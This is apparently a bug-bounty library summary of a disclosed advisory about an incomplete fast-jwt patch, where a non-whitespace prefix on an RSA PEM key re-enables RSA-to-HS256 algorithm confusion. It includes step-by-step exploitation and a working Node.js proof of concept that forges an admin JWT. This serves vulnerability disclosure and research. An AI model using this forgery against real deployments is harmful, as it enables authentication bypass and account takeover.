# fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion

Incomplete fast-jwt patch: any non-whitespace byte before an RSA PEM key defeats trim()+anchored regex, falling through to HMAC and re-enabling RSA→HS256 JWT forgery.

- Payout: Research
- Severity: critical
- Program: fast-jwt
- Found by: dc-infosec, EchoSkorJjj
- Disclosed: 2026-10-08
- CVE: CVE-2026-107722
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-ww5h-9m49-7xx4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-ww5h-9m49-7xx4
- Tags: area:oss domain:oss impact:ato kind:research platform:ghsa sev:critical tech:jwt tech:nodejs technique:incomplete-fix technique:parser-differential technique:source-review vuln:auth-bypass vuln:crypto

**Target:** npm fast-jwt JWT verifier key-detection logic (src/crypto.js)
**Root cause:** The CVE-2026-34950 fix only added key.trim() before a ^-anchored PEM regex; trim strips only ECMAScript whitespace, so any non-whitespace leading byte keeps the PEM header off position 0, the regex fails, and the key falls through to the HMAC path as a shared secret.
**Steps:**
1. Load fast-jwt 6.2.x and generate an RSA keypair; export the public key as PKCS1 PEM.
2. Construct verifier key content with a non-whitespace prefix, e.g. `'# some comment\n' + pem` (or NUL, ZWSP, HTTP header, PGP wrapper).
3. Build header `{"alg":"HS256","typ":"JWT"}` and payload `{"admin":true,"sub":"attacker"}`, base64url-encode.
4. Sign `header + '.' + payload` with `createHmac('sha256', key)` using the prefixed PEM string as secret.
5. Call `createVerifier({ key })(forgedToken)` — returns the forged admin payload.
**How found:** Source review of the CVE-2026-34950 patch: noticed the fix was textually narrow (trim() only) while the regex remained ^-anchored, hypothesizing any non-whitespace prefix would bypass detection; verified with a 10-line PoC and a full bypass matrix of control bytes, zero-width unicode, comments and wrappers.
**Exploitation:** Attacker who knows the target's public RSA key (public by definition) forges an HS256 token signed with the prefixed PEM string as HMAC secret; any verifier without an algorithms allowlist that loads the key from a source with a non-whitespace prefix accepts arbitrary claims (admin, tenant-id, user-id).
**Insight:** When auditing a patch for a parser/format-detection bug, check whether the fix addresses the class or just the reported trigger: trim() only removes ECMAScript whitespace, so anchored regexes on user-influenced key material remain bypassable by control bytes, zero-width chars, comments or wrapper text — test the full byte range, not just the PoC's input.

## Proof of concept (copied exactly from the original report)

**Node.js PoC forging HS256 token with prefixed RSA key**

```
'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');

const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();

// Attacker-controlled "key" content as loaded by the verifier
// (models a realistic deployment: key with a leading metadata comment)
const key = '# some comment\n' + pem;

const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;

const verifier = createVerifier({ key });
console.log('Forged token payload:', verifier(forgedToken));
console.log('Package version:', require('fast-jwt/package.json').version);
```

